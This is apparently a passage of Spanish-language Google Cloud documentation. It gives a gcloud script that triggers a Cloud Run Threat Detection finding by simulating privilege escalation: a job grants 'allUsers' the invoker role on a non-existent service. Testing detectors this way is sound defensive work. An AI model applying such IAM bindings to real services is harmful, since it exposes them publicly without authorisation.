JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
--command gcloud \
--args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
Este procedimiento de prueba crea un resultado de Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy.
¿Qué sigue?
- Obtén más información sobre Cloud Run Threat Detection.
- Aprende a usar Cloud Run Threat Detection.